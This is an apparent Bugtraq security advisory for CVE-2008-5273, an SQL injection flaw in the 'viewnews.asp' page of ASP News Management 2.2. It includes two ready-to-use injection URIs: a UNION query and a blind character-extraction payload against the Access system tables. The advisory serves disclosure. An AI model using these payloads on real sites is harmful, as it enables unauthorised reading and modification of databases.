ASP News Management 'viewnews.asp' SQL Injection Vulnerability

Bugtraq ID:	29638
Class:	Input Validation Error
CVE:	CVE-2008-5273
Remote:	Yes
Local:	No
Published:	Jun 10 2008 12:00AM
Updated:	May 07 2015 05:28PM
Credit:	Bl@ckbe@rD
Vulnerable:	Todd Woolums ASP News Management 2.2
Not Vulnerable:

ASP News Management 'viewnews.asp' SQL Injection Vulnerability

ASP News Management is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

ASP News Management 2.2 is vulnerable; other versions may also be affected.

ASP News Management 'viewnews.asp' SQL Injection Vulnerability

Attackers can use a browser to exploit this issue.

The following example URIs are available:

http://www.example.com/aspnews/viewnews.asp?newsID=8+union+select+name+from+msysobjects
http://www.example.com/aspnews/viewnews.asp?newsID=IIF((select%20mid(last(Name),1,1)%20from%20(select%20top%2010%20Name%20from%20MSysObjects))='a',0,'Bingo')%00

ASP News Management 'viewnews.asp' SQL Injection Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

ASP News Management 'viewnews.asp' SQL Injection Vulnerability

References:

• ASP News Management Homepage (Todd Woolums)